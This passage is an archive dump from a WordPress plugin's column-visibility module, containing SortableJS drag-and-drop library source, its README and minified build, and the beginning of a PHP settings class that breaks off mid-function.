this.options.selectedClass + ')'); if (!initialFolding && options.animation) dragEl$1.thisAnimationDuration = null; toSortable.captureAnimationState(); if (!initialFolding) { if (options.animation) { dragEl$1.fromRect = dragRect; multiDragElements.forEach(function (multiDragElement) { multiDragElement.thisAnimationDuration = null; if (multiDragElement !== dragEl$1) { var rect = folding ? getRect(multiDragElement) : dragRect; multiDragElement.fromRect = rect; // Prepare unfold animation toSortable.addAnimationState({ target: multiDragElement, rect: rect }); } }); } // Multi drag elements are not necessarily removed from the DOM on drop, so to reinsert // properly they must all be removed removeMultiDragElements(); multiDragElements.forEach(function (multiDragElement) { if (children[multiDragIndex]) { parentEl.insertBefore(multiDragElement, children[multiDragIndex]); } else { parentEl.appendChild(multiDragElement); } multiDragIndex++; }); // If initial folding is done, the elements may have changed position because they are now // unfolding around dragEl, even though dragEl may not have his index changed, so update event // must be fired here as Sortable will not. if (oldIndex === index(dragEl$1)) { var update = false; multiDragElements.forEach(function (multiDragElement) { if (multiDragElement.sortableIndex !== index(multiDragElement)) { update = true; return; } }); if (update) { dispatchSortableEvent('update'); } } } // Must be done after capturing individual rects (scroll bar) multiDragElements.forEach(function (multiDragElement) { unsetRect(multiDragElement); }); toSortable.animateAll(); } multiDragSortable = toSortable; } // Remove clones if necessary if (rootEl === parentEl || putSortable && putSortable.lastPutMode !== 'clone') { multiDragClones.forEach(function (clone) { clone.parentNode && clone.parentNode.removeChild(clone); }); } }, nullingGlobal: function nullingGlobal() { this.isMultiDrag = dragStarted = false; multiDragClones.length = 0; }, destroyGlobal: function destroyGlobal() { this._deselectMultiDrag(); off(document, 'pointerup', this._deselectMultiDrag); off(document, 'mouseup', this._deselectMultiDrag); off(document, 'touchend', this._deselectMultiDrag); off(document, 'keydown', this._checkKeyDown); off(document, 'keyup', this._checkKeyUp); }, _deselectMultiDrag: function _deselectMultiDrag(evt) { if (typeof dragStarted !== "undefined" && dragStarted) return; // Only deselect if selection is in this sortable if (multiDragSortable !== this.sortable) return; // Only deselect if target is not item in this sortable if (evt && closest(evt.target, this.options.draggable, this.sortable.el, false)) return; // Only deselect if left click if (evt && evt.button !== 0) return; while (multiDragElements.length) { var el = multiDragElements[0]; toggleClass(el, this.options.selectedClass, false); multiDragElements.shift(); dispatchEvent({ sortable: this.sortable, rootEl: this.sortable.el, name: 'deselect', targetEl: el, originalEvent: evt }); } }, _checkKeyDown: function _checkKeyDown(evt) { if (evt.key === this.options.multiDragKey) { this.multiDragKeyDown = true; } }, _checkKeyUp: function _checkKeyUp(evt) { if (evt.key === this.options.multiDragKey) { this.multiDragKeyDown = false; } } }; return _extends(MultiDrag, { // Static methods & properties pluginName: 'multiDrag', utils: { /** * Selects the provided multi-drag item * @param {HTMLElement} el The element to be selected */ select: function select(el) { var sortable = el.parentNode[expando]; if (!sortable || !sortable.options.multiDrag || ~multiDragElements.indexOf(el)) return; if (multiDragSortable && multiDragSortable !== sortable) { multiDragSortable.multiDrag._deselectMultiDrag(); multiDragSortable = sortable; } toggleClass(el, sortable.options.selectedClass, true); multiDragElements.push(el); }, /** * Deselects the provided multi-drag item * @param {HTMLElement} el The element to be deselected */ deselect: function deselect(el) { var sortable = el.parentNode[expando], index = multiDragElements.indexOf(el); if (!sortable || !sortable.options.multiDrag || !~index) return; toggleClass(el, sortable.options.selectedClass, false); multiDragElements.splice(index, 1); } }, eventProperties: function eventProperties() { var _this3 = this; var oldIndicies = [], newIndicies = []; multiDragElements.forEach(function (multiDragElement) { oldIndicies.push({ multiDragElement: multiDragElement, index: multiDragElement.sortableIndex }); // multiDragElements will already be sorted if folding var newIndex; if (folding && multiDragElement !== dragEl$1) { newIndex = -1; } else if (folding) { newIndex = index(multiDragElement, ':not(.' + _this3.options.selectedClass + ')'); } else { newIndex = index(multiDragElement); } newIndicies.push({ multiDragElement: multiDragElement, index: newIndex }); }); return { items: _toConsumableArray(multiDragElements), clones: [].concat(multiDragClones), oldIndicies: oldIndicies, newIndicies: newIndicies }; }, optionListeners: { multiDragKey: function multiDragKey(key) { key = key.toLowerCase(); if (key === 'ctrl') { key = 'Control'; } else if (key.length > 1) { key = key.charAt(0).toUpperCase() + key.substr(1); } return key; } } }); } function insertMultiDragElements(clonesInserted, rootEl) { multiDragElements.forEach(function (multiDragElement, i) { var target = rootEl.children[multiDragElement.sortableIndex + (clonesInserted ? Number(i) : 0)]; if (target) { rootEl.insertBefore(multiDragElement, target); } else { rootEl.appendChild(multiDragElement); } }); } /** * Insert multi-drag clones * @param {[Boolean]} elementsInserted Whether the multi-drag elements are inserted * @param {HTMLElement} rootEl */ function insertMultiDragClones(elementsInserted, rootEl) { multiDragClones.forEach(function (clone, i) { var target = rootEl.children[clone.sortableIndex + (elementsInserted ? Number(i) : 0)]; if (target) { rootEl.insertBefore(clone, target); } else { rootEl.appendChild(clone); } }); } function removeMultiDragElements() { multiDragElements.forEach(function (multiDragElement) { if (multiDragElement === dragEl$1) return; multiDragElement.parentNode && multiDragElement.parentNode.removeChild(multiDragElement); }); } Sortable.mount(new AutoScrollPlugin()); Sortable.mount(Remove, Revert); Sortable.mount(new SwapPlugin()); Sortable.mount(new MultiDragPlugin()); return Sortable; })));modules/columns-visibility/assets/vendor/Sortable/README.md000064400000042726147600365160017735 0ustar00# Sortable Sortable is a minimalist JavaScript library for reorderable drag-and-drop lists. Demo: http://rubaxa.github.io/Sortable/ ## Features * Supports touch devices and [modern](http://caniuse.com/#search=drag) browsers (including IE9) * Can drag from one list to another or within the same list * CSS animation when moving items * Supports drag handles *and selectable text* (better than voidberg's html5sortable) * Smart auto-scrolling * Built using native HTML5 drag and drop API * Supports * [Meteor](https://github.com/SortableJS/meteor-sortablejs) * AngularJS * [2.0+](https://github.com/SortableJS/angular-sortablejs) * [1.*](https://github.com/SortableJS/angular-legacy-sortablejs) * React * [ES2015+](https://github.com/SortableJS/react-sortablejs) * [Mixin](https://github.com/SortableJS/react-mixin-sortablejs) * [Knockout](https://github.com/SortableJS/knockout-sortablejs) * [Polymer](https://github.com/SortableJS/polymer-sortablejs) * [Vue](https://github.com/SortableJS/Vue.Draggable) * Supports any CSS library, e.g. [Bootstrap](#bs) * Simple API * [CDN](#cdn) * No jQuery (but there is [support](#jq))
    ### Articles * [Sortable v1.0 — New capabilities](https://github.com/RubaXa/Sortable/wiki/Sortable-v1.0-—-New-capabilities/) (December 22, 2014) * [Sorting with the help of HTML5 Drag'n'Drop API](https://github.com/RubaXa/Sortable/wiki/Sorting-with-the-help-of-HTML5-Drag'n'Drop-API/) (December 23, 2013)
    ### Install Via npm ```bash $ npm install sortablejs --save ``` Via bower: ```bash $ bower install --save sortablejs ```
    ### Usage ```html
    • item 1
    • item 2
    • item 3
    ``` ```js var el = document.getElementById('items'); var sortable = Sortable.create(el); ``` You can use any element for the list and its elements, not just `ul`/`li`. Here is an [example with `div`s](http://jsbin.com/qumuwe/edit?html,js,output). --- ### Options ```js var sortable = new Sortable(el, { group: "name", // or { name: "...", pull: [true, false, clone], put: [true, false, array] } sort: true, // sorting inside list delay: 0, // time in milliseconds to define when the sorting should start disabled: false, // Disables the sortable if set to true. store: null, // @see Store animation: 150, // ms, animation speed moving items when sorting, `0` — without animation handle: ".my-handle", // Drag handle selector within list items filter: ".ignore-elements", // Selectors that do not lead to dragging (String or Function) preventOnFilter: true, // Call `event.preventDefault()` when triggered `filter` draggable: ".item", // Specifies which items inside the element should be draggable ghostClass: "sortable-ghost", // Class name for the drop placeholder chosenClass: "sortable-chosen", // Class name for the chosen item dragClass: "sortable-drag", // Class name for the dragging item dataIdAttr: 'data-id', forceFallback: false, // ignore the HTML5 DnD behaviour and force the fallback to kick in fallbackClass: "sortable-fallback", // Class name for the cloned DOM Element when using forceFallback fallbackOnBody: false, // Appends the cloned DOM Element into the Document's Body fallbackTolerance: 0, // Specify in pixels how far the mouse should move before it's considered as a drag. scroll: true, // or HTMLElement scrollFn: function(offsetX, offsetY, originalEvent) { ... }, // if you have custom scrollbar scrollFn may be used for autoscrolling scrollSensitivity: 30, // px, how near the mouse must be to an edge to start scrolling. scrollSpeed: 10, // px setData: function (/** DataTransfer */dataTransfer, /** HTMLElement*/dragEl) { dataTransfer.setData('Text', dragEl.textContent); // `dataTransfer` object of HTML5 DragEvent }, // Element is chosen onChoose: function (/**Event*/evt) { evt.oldIndex; // element index within parent }, // Element dragging started onStart: function (/**Event*/evt) { evt.oldIndex; // element index within parent }, // Element dragging ended onEnd: function (/**Event*/evt) { evt.oldIndex; // element's old index within parent evt.newIndex; // element's new index within parent }, // Element is dropped into the list from another list onAdd: function (/**Event*/evt) { var itemEl = evt.item; // dragged HTMLElement evt.from; // previous list // + indexes from onEnd }, // Changed sorting within list onUpdate: function (/**Event*/evt) { var itemEl = evt.item; // dragged HTMLElement // + indexes from onEnd }, // Called by any change to the list (add / update / remove) onSort: function (/**Event*/evt) { // same properties as onUpdate }, // Element is removed from the list into another list onRemove: function (/**Event*/evt) { // same properties as onUpdate }, // Attempt to drag a filtered element onFilter: function (/**Event*/evt) { var itemEl = evt.item; // HTMLElement receiving the `mousedown|tapstart` event. }, // Event when you move an item in the list or between lists onMove: function (/**Event*/evt, /**Event*/originalEvent) { // Example: http://jsbin.com/tuyafe/1/edit?js,output evt.dragged; // dragged HTMLElement evt.draggedRect; // TextRectangle {left, top, right и bottom} evt.related; // HTMLElement on which have guided evt.relatedRect; // TextRectangle originalEvent.clientY; // mouse position // return false; — for cancel }, // Called when creating a clone of element onClone: function (/**Event*/evt) { var origEl = evt.item; var cloneEl = evt.clone; } }); ``` --- #### `group` option To drag elements from one list into another, both lists must have the same `group` value. You can also define whether lists can give away, give and keep a copy (`clone`), and receive elements. * name: `String` — group name * pull: `true|false|'clone'|function` — ability to move from the list. `clone` — copy the item, rather than move. * put: `true|false|["foo", "bar"]|function` — whether elements can be added from other lists, or an array of group names from which elements can be taken. * revertClone: `boolean` — revert cloned element to initial position after moving to a another list. Demo: - http://jsbin.com/naduvo/edit?js,output - http://jsbin.com/rusuvot/edit?js,output — use of complex logic in the `pull` and` put` - http://jsbin.com/magogub/edit?js,output — use `revertClone: true` --- #### `sort` option Sorting inside list. Demo: http://jsbin.com/videzob/edit?html,js,output --- #### `delay` option Time in milliseconds to define when the sorting should start. Demo: http://jsbin.com/xizeh/edit?html,js,output --- #### `disabled` options Disables the sortable if set to `true`. Demo: http://jsbin.com/xiloqu/edit?html,js,output ```js var sortable = Sortable.create(list); document.getElementById("switcher").onclick = function () { var state = sortable.option("disabled"); // get sortable.option("disabled", !state); // set }; ``` --- #### `handle` option To make list items draggable, Sortable disables text selection by the user. That's not always desirable. To allow text selection, define a drag handler, which is an area of every list element that allows it to be dragged around. Demo: http://jsbin.com/newize/edit?html,js,output ```js Sortable.create(el, { handle: ".my-handle" }); ``` ```html
    • :: list item text one
    • :: list item text two
    ``` ```css .my-handle { cursor: move; cursor: -webkit-grabbing; } ``` --- #### `filter` option ```js Sortable.create(list, { filter: ".js-remove, .js-edit", onFilter: function (evt) { var item = evt.item, ctrl = evt.target; if (Sortable.utils.is(ctrl, ".js-remove")) { // Click on remove button item.parentNode.removeChild(item); // remove sortable item } else if (Sortable.utils.is(ctrl, ".js-edit")) { // Click on edit link // ... } } }) ``` --- #### `ghostClass` option Class name for the drop placeholder (default `sortable-ghost`). Demo: http://jsbin.com/hunifu/4/edit?css,js,output ```css .ghost { opacity: 0.4; } ``` ```js Sortable.create(list, { ghostClass: "ghost" }); ``` --- #### `chosenClass` option Class name for the chosen item (default `sortable-chosen`). Demo: http://jsbin.com/hunifu/3/edit?html,css,js,output ```css .chosen { color: #fff; background-color: #c00; } ``` ```js Sortable.create(list, { delay: 500, chosenClass: "chosen" }); ``` --- #### `forceFallback` option If set to `true`, the Fallback for non HTML5 Browser will be used, even if we are using an HTML5 Browser. This gives us the possibility to test the behaviour for older Browsers even in newer Browser, or make the Drag 'n Drop feel more consistent between Desktop , Mobile and old Browsers. On top of that, the Fallback always generates a copy of that DOM Element and appends the class `fallbackClass` defined in the options. This behaviour controls the look of this 'dragged' Element. Demo: http://jsbin.com/yacuqib/edit?html,css,js,output --- #### `fallbackTolerance` option Emulates the native drag threshold. Specify in pixels how far the mouse should move before it's considered as a drag. Useful if the items are also clickable like in a list of links. When the user clicks inside a sortable element, it's not uncommon for your hand to move a little between the time you press and the time you release. Dragging only starts if you move the pointer past a certain tolerance, so that you don't accidentally start dragging every time you click. 3 to 5 are probably good values. --- #### `scroll` option If set to `true`, the page (or sortable-area) scrolls when coming to an edge. Demo: - `window`: http://jsbin.com/tutuzeh/edit?html,js,output - `overflow: hidden`: http://jsbin.com/kolisu/edit?html,js,output --- #### `scrollFn` option Defines function that will be used for autoscrolling. el.scrollTop/el.scrollLeft is used by default. Useful when you have custom scrollbar with dedicated scroll function. --- #### `scrollSensitivity` option Defines how near the mouse must be to an edge to start scrolling. --- #### `scrollSpeed` option The speed at which the window should scroll once the mouse pointer gets within the `scrollSensitivity` distance. --- ### Event object ([demo](http://jsbin.com/xedusu/edit?js,output)) - to:`HTMLElement` — list, in which moved element. - from:`HTMLElement` — previous list - item:`HTMLElement` — dragged element - clone:`HTMLElement` - oldIndex:`Number|undefined` — old index within parent - newIndex:`Number|undefined` — new index within parent #### `move` event object - to:`HTMLElement` - from:`HTMLElement` - dragged:`HTMLElement` - draggedRect:` TextRectangle` - related:`HTMLElement` — element on which have guided - relatedRect:` TextRectangle` --- ### Method ##### option(name:`String`[, value:`*`]):`*` Get or set the option. ##### closest(el:`String`[, selector:`HTMLElement`]):`HTMLElement|null` For each element in the set, get the first element that matches the selector by testing the element itself and traversing up through its ancestors in the DOM tree. ##### toArray():`String[]` Serializes the sortable's item `data-id`'s (`dataIdAttr` option) into an array of string. ##### sort(order:`String[]`) Sorts the elements according to the array. ```js var order = sortable.toArray(); sortable.sort(order.reverse()); // apply ``` ##### save() Save the current sorting (see [store](#store)) ##### destroy() Removes the sortable functionality completely. --- ### Store Saving and restoring of the sort. ```html
    • order
    • save
    • restore
    ``` ```js Sortable.create(el, { group: "localStorage-example", store: { /** * Get the order of elements. Called once during initialization. * @param {Sortable} sortable * @returns {Array} */ get: function (sortable) { var order = localStorage.getItem(sortable.options.group.name); return order ? order.split('|') : []; }, /** * Save the order of elements. Called onEnd (when the item is dropped). * @param {Sortable} sortable */ set: function (sortable) { var order = sortable.toArray(); localStorage.setItem(sortable.options.group.name, order.join('|')); } } }) ``` --- ### Bootstrap Demo: http://jsbin.com/qumuwe/edit?html,js,output ```html
    • This is Sortable
    • It works with Bootstrap...
    • ...out of the box.
    • It has support for touch devices.
    • Just drag some elements around.
    ``` --- ### Static methods & properties ##### Sortable.create(el:`HTMLElement`[, options:`Object`]):`Sortable` Create new instance. --- ##### Sortable.active:`Sortable` Link to the active instance. --- ##### Sortable.utils * on(el`:HTMLElement`, event`:String`, fn`:Function`) — attach an event handler function * off(el`:HTMLElement`, event`:String`, fn`:Function`) — remove an event handler * css(el`:HTMLElement`)`:Object` — get the values of all the CSS properties * css(el`:HTMLElement`, prop`:String`)`:Mixed` — get the value of style properties * css(el`:HTMLElement`, prop`:String`, value`:String`) — set one CSS properties * css(el`:HTMLElement`, props`:Object`) — set more CSS properties * find(ctx`:HTMLElement`, tagName`:String`[, iterator`:Function`])`:Array` — get elements by tag name * bind(ctx`:Mixed`, fn`:Function`)`:Function` — Takes a function and returns a new one that will always have a particular context * is(el`:HTMLElement`, selector`:String`)`:Boolean` — check the current matched set of elements against a selector * closest(el`:HTMLElement`, selector`:String`[, ctx`:HTMLElement`])`:HTMLElement|Null` — for each element in the set, get the first element that matches the selector by testing the element itself and traversing up through its ancestors in the DOM tree * clone(el`:HTMLElement`)`:HTMLElement` — create a deep copy of the set of matched elements * toggleClass(el`:HTMLElement`, name`:String`, state`:Boolean`) — add or remove one classes from each element --- ### CDN ```html ``` --- ### jQuery compatibility To assemble plugin for jQuery, perform the following steps: ```bash cd Sortable npm install grunt jquery ``` Now you can use `jquery.fn.sortable.js`:
    (or `jquery.fn.sortable.min.js` if you run `grunt jquery:min`) ```js $("#list").sortable({ /* options */ }); // init $("#list").sortable("widget"); // get Sortable instance $("#list").sortable("destroy"); // destroy Sortable instance $("#list").sortable("{method-name}"); // call an instance method $("#list").sortable("{method-name}", "foo", "bar"); // call an instance method with parameters ``` And `grunt jquery:mySortableFunc` → `jquery.fn.mySortableFunc.js` --- ### Contributing (Issue/PR) Please, [read this](CONTRIBUTING.md). --- ## MIT LICENSE Copyright 2013-2017 Lebedev Konstantin http://rubaxa.github.io/Sortable/ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. modules/columns-visibility/assets/vendor/Sortable/Sortable.min.js000064400000126153147600365160021346 0ustar00;;;/*! Sortable 1.15.0 - MIT | git://github.com/SortableJS/Sortable.git */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sortable=e()}(this,function(){"use strict";function e(e,t){var n,o=Object.keys(e);return Object.getOwnPropertySymbols&&(n=Object.getOwnPropertySymbols(e),t&&(n=n.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),o.push.apply(o,n)),o}function M(o){for(var t=1;tt.length)&&(e=t.length);for(var n=0,o=new Array(e);n"===e[0]&&(e=e.substring(1)),t))try{if(t.matches)return t.matches(e);if(t.msMatchesSelector)return t.msMatchesSelector(e);if(t.webkitMatchesSelector)return t.webkitMatchesSelector(e)}catch(t){return}}function N(t,e,n,o){if(t){n=n||document;do{if(null!=e&&(">"!==e[0]||t.parentNode===n)&&p(t,e)||o&&t===n)return t}while(t!==n&&(t=(i=t).host&&i!==document&&i.host.nodeType?i.host:i.parentNode))}var i;return null}var g,m=/\s+/g;function I(t,e,n){var o;t&&e&&(t.classList?t.classList[n?"add":"remove"](e):(o=(" "+t.className+" ").replace(m," ").replace(" "+e+" "," "),t.className=(o+(n?" "+e:"")).replace(m," ")))}function P(t,e,n){var o=t&&t.style;if(o){if(void 0===n)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(t,""):t.currentStyle&&(n=t.currentStyle),void 0===e?n:n[e];o[e=!(e in o||-1!==e.indexOf("webkit"))?"-webkit-"+e:e]=n+("string"==typeof n?"":"px")}}function v(t,e){var n="";if("string"==typeof t)n=t;else do{var o=P(t,"transform")}while(o&&"none"!==o&&(n=o+" "+n),!e&&(t=t.parentNode));var i=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return i&&new i(n)}function b(t,e,n){if(t){var o=t.getElementsByTagName(e),i=0,r=o.length;if(n)for(;i=n.left-e&&i<=n.right+e,e=r>=n.top-e&&r<=n.bottom+e;return o&&e?a=t:void 0}}),a);if(e){var n,o={};for(n in t)t.hasOwnProperty(n)&&(o[n]=t[n]);o.target=o.rootEl=e,o.preventDefault=void 0,o.stopPropagation=void 0,e[j]._onDragOver(o)}}var i,r,a}function Yt(t){q&&q.parentNode[j]._isOutsideThisEl(t.target)}function Bt(t,e){if(!t||!t.nodeType||1!==t.nodeType)throw"Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(t));this.el=t,this.options=e=a({},e),t[j]=this;var n,o,i={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(t.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return It(t,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(t,e){t.setData("Text",e.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Bt.supportPointer&&"PointerEvent"in window&&!u,emptyInsertThreshold:5};for(n in K.initializePlugins(this,t,i),i)n in e||(e[n]=i[n]);for(o in Pt(e),this)"_"===o.charAt(0)&&"function"==typeof this[o]&&(this[o]=this[o].bind(this));this.nativeDraggable=!e.forceFallback&&Mt,this.nativeDraggable&&(this.options.touchStartThreshold=1),e.supportPointer?h(t,"pointerdown",this._onTapStart):(h(t,"mousedown",this._onTapStart),h(t,"touchstart",this._onTapStart)),this.nativeDraggable&&(h(t,"dragover",this),h(t,"dragenter",this)),Et.push(this.el),e.store&&e.store.get&&this.sort(e.store.get(this)||[]),a(this,x())}function Ft(t,e,n,o,i,r,a,l){var s,c,u=t[j],d=u.options.onMove;return!window.CustomEvent||y||w?(s=document.createEvent("Event")).initEvent("move",!0,!0):s=new CustomEvent("move",{bubbles:!0,cancelable:!0}),s.to=e,s.from=t,s.dragged=n,s.draggedRect=o,s.related=i||e,s.relatedRect=r||k(e),s.willInsertAfter=l,s.originalEvent=a,t.dispatchEvent(s),c=d?d.call(u,s,a):c}function jt(t){t.draggable=!1}function Ht(){Ct=!1}function Lt(t){return setTimeout(t,0)}function Kt(t){return clearTimeout(t)}Bt.prototype={constructor:Bt,_isOutsideThisEl:function(t){this.el.contains(t)||t===this.el||(gt=null)},_getDirection:function(t,e){return"function"==typeof this.options.direction?this.options.direction.call(this,t,e,q):this.options.direction},_onTapStart:function(e){if(e.cancelable){var n=this,o=this.el,t=this.options,i=t.preventOnFilter,r=e.type,a=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(a||e).target,s=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,c=t.filter;if(!function(t){Tt.length=0;var e=t.getElementsByTagName("input"),n=e.length;for(;n--;){var o=e[n];o.checked&&Tt.push(o)}}(o),!q&&!(/mousedown|pointerdown/.test(r)&&0!==e.button||t.disabled)&&!s.isContentEditable&&(this.nativeDraggable||!u||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=N(l,t.draggable,o,!1))&&l.animated||J===l)){if(nt=B(l),it=B(l,t.draggable),"function"==typeof c){if(c.call(this,e,l,this))return U({sortable:n,rootEl:s,name:"filter",targetEl:l,toEl:o,fromEl:o}),z("filter",n,{evt:e}),void(i&&e.cancelable&&e.preventDefault())}else if(c=c&&c.split(",").some(function(t){if(t=N(s,t.trim(),o,!1))return U({sortable:n,rootEl:t,name:"filter",targetEl:l,fromEl:o,toEl:o}),z("filter",n,{evt:e}),!0}))return void(i&&e.cancelable&&e.preventDefault());t.handle&&!N(s,t.handle,o,!1)||this._prepareDragStart(e,a,l)}}},_prepareDragStart:function(t,e,n){var o,i=this,r=i.el,a=i.options,l=r.ownerDocument;n&&!q&&n.parentNode===r&&(o=k(n),$=r,V=(q=n).parentNode,Q=q.nextSibling,J=n,at=a.group,st={target:Bt.dragged=q,clientX:(e||t).clientX,clientY:(e||t).clientY},ht=st.clientX-o.left,ft=st.clientY-o.top,this._lastX=(e||t).clientX,this._lastY=(e||t).clientY,q.style["will-change"]="all",o=function(){z("delayEnded",i,{evt:t}),Bt.eventCanceled?i._onDrop():(i._disableDelayedDragEvents(),!s&&i.nativeDraggable&&(q.draggable=!0),i._triggerDragStart(t,e),U({sortable:i,name:"choose",originalEvent:t}),I(q,a.chosenClass,!0))},a.ignore.split(",").forEach(function(t){b(q,t.trim(),jt)}),h(l,"dragover",Xt),h(l,"mousemove",Xt),h(l,"touchmove",Xt),h(l,"mouseup",i._onDrop),h(l,"touchend",i._onDrop),h(l,"touchcancel",i._onDrop),s&&this.nativeDraggable&&(this.options.touchStartThreshold=4,q.draggable=!0),z("delayStart",this,{evt:t}),!a.delay||a.delayOnTouchOnly&&!e||this.nativeDraggable&&(w||y)?o():Bt.eventCanceled?this._onDrop():(h(l,"mouseup",i._disableDelayedDrag),h(l,"touchend",i._disableDelayedDrag),h(l,"touchcancel",i._disableDelayedDrag),h(l,"mousemove",i._delayedDragTouchMoveHandler),h(l,"touchmove",i._delayedDragTouchMoveHandler),a.supportPointer&&h(l,"pointermove",i._delayedDragTouchMoveHandler),i._dragStartTimer=setTimeout(o,a.delay)))},_delayedDragTouchMoveHandler:function(t){t=t.touches?t.touches[0]:t;Math.max(Math.abs(t.clientX-this._lastX),Math.abs(t.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){q&&jt(q),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var t=this.el.ownerDocument;f(t,"mouseup",this._disableDelayedDrag),f(t,"touchend",this._disableDelayedDrag),f(t,"touchcancel",this._disableDelayedDrag),f(t,"mousemove",this._delayedDragTouchMoveHandler),f(t,"touchmove",this._delayedDragTouchMoveHandler),f(t,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(t,e){e=e||"touch"==t.pointerType&&t,!this.nativeDraggable||e?this.options.supportPointer?h(document,"pointermove",this._onTouchMove):h(document,e?"touchmove":"mousemove",this._onTouchMove):(h(q,"dragend",this),h($,"dragstart",this._onDragStart));try{document.selection?Lt(function(){document.selection.empty()}):window.getSelection().removeAllRanges()}catch(t){}},_dragStarted:function(t,e){var n;yt=!1,$&&q?(z("dragStarted",this,{evt:e}),this.nativeDraggable&&h(document,"dragover",Yt),n=this.options,t||I(q,n.dragClass,!1),I(q,n.ghostClass,!0),Bt.active=this,t&&this._appendGhost(),U({sortable:this,name:"start",originalEvent:e})):this._nulling()},_emulateDragOver:function(){if(ct){this._lastX=ct.clientX,this._lastY=ct.clientY,kt();for(var t=document.elementFromPoint(ct.clientX,ct.clientY),e=t;t&&t.shadowRoot&&(t=t.shadowRoot.elementFromPoint(ct.clientX,ct.clientY))!==e;)e=t;if(q.parentNode[j]._isOutsideThisEl(t),e)do{if(e[j])if(e[j]._onDragOver({clientX:ct.clientX,clientY:ct.clientY,target:t,rootEl:e})&&!this.options.dragoverBubble)break}while(e=(t=e).parentNode);Rt()}},_onTouchMove:function(t){if(st){var e=this.options,n=e.fallbackTolerance,o=e.fallbackOffset,i=t.touches?t.touches[0]:t,r=Z&&v(Z,!0),a=Z&&r&&r.a,l=Z&&r&&r.d,e=Ot&&bt&&E(bt),a=(i.clientX-st.clientX+o.x)/(a||1)+(e?e[0]-_t[0]:0)/(a||1),l=(i.clientY-st.clientY+o.y)/(l||1)+(e?e[1]-_t[1]:0)/(l||1);if(!Bt.active&&!yt){if(n&&Math.max(Math.abs(i.clientX-this._lastX),Math.abs(i.clientY-this._lastY))n.right+10||t.clientX<=n.right&&t.clientY>n.bottom&&t.clientX>=n.left:t.clientX>n.right&&t.clientY>n.top||t.clientX<=n.right&&t.clientY>n.bottom+10}(n,r,this)&&!g.animated){if(g===q)return O(!1);if((l=g&&a===n.target?g:l)&&(w=k(l)),!1!==Ft($,a,q,o,l,w,n,!!l))return x(),g&&g.nextSibling?a.insertBefore(q,g.nextSibling):a.appendChild(q),V=a,A(),O(!0)}else if(g&&function(t,e,n){n=k(X(n.el,0,n.options,!0));return e?t.clientX modules/columns-visibility/views/lazy-form.php000064400000000470147600365160015660 0ustar00 modules/columns-visibility/columns-visibility.php000064400000046150147600365160016455 0ustar00init(); } return self::$instance; } public function init() { add_action( 'admin_init', array( $this, 'migrate_old_settings' ) ); add_filter( 'vg_sheet_editor/columns/all_items', array( 'WP_Sheet_Editor_Columns_Visibility', 'filter_columns_for_visibility' ), 9999 ); add_action( 'vg_sheet_editor/editor/before_init', array( $this, 'register_toolbar_items' ) ); add_action( 'vg_sheet_editor/after_enqueue_assets', array( $this, 'enqueue_assets' ) ); add_action( 'wp_ajax_vgse_update_columns_visibility', array( $this, 'update_columns_settings' ) ); add_action( 'wp_ajax_vgse_remove_column', array( $this, 'remove_column' ) ); add_action( 'wp_ajax_vgse_restore_columns', array( $this, 'restore_columns' ) ); add_filter( 'vg_sheet_editor/columns/blacklisted_columns', array( $this, 'blacklist_removed_columns' ), 10, 2 ); add_action( 'wp_ajax_vgse_load_columns_manager_content', array( $this, 'ajax_load_columns_manager_content' ) ); } static function get_visibility_options( $post_type = null ) { $options = apply_filters( 'vg_sheet_editor/columns_visibility/options', get_option( self::$columns_visibility_key, array() ), $post_type ); if ( $post_type ) { $options = isset( $options[ $post_type ] ) ? $options[ $post_type ] : array(); } if ( empty( $options ) ) { $options = array(); } return $options; } public function change_columns_status( $columns ) { $options = self::get_visibility_options(); $changed = false; foreach ( $columns as $column ) { $status = ! empty( $column['status'] ) ? $column['status'] : 'enabled'; if ( is_string( $column['post_types'] ) ) { $column['post_types'] = array( $column['post_types'] ); } foreach ( $column['post_types'] as $post_type_key ) { if ( isset( $options[ $post_type_key ] ) && ! isset( $options[ $post_type_key ]['disabled'][ $column['key'] ] ) && ! 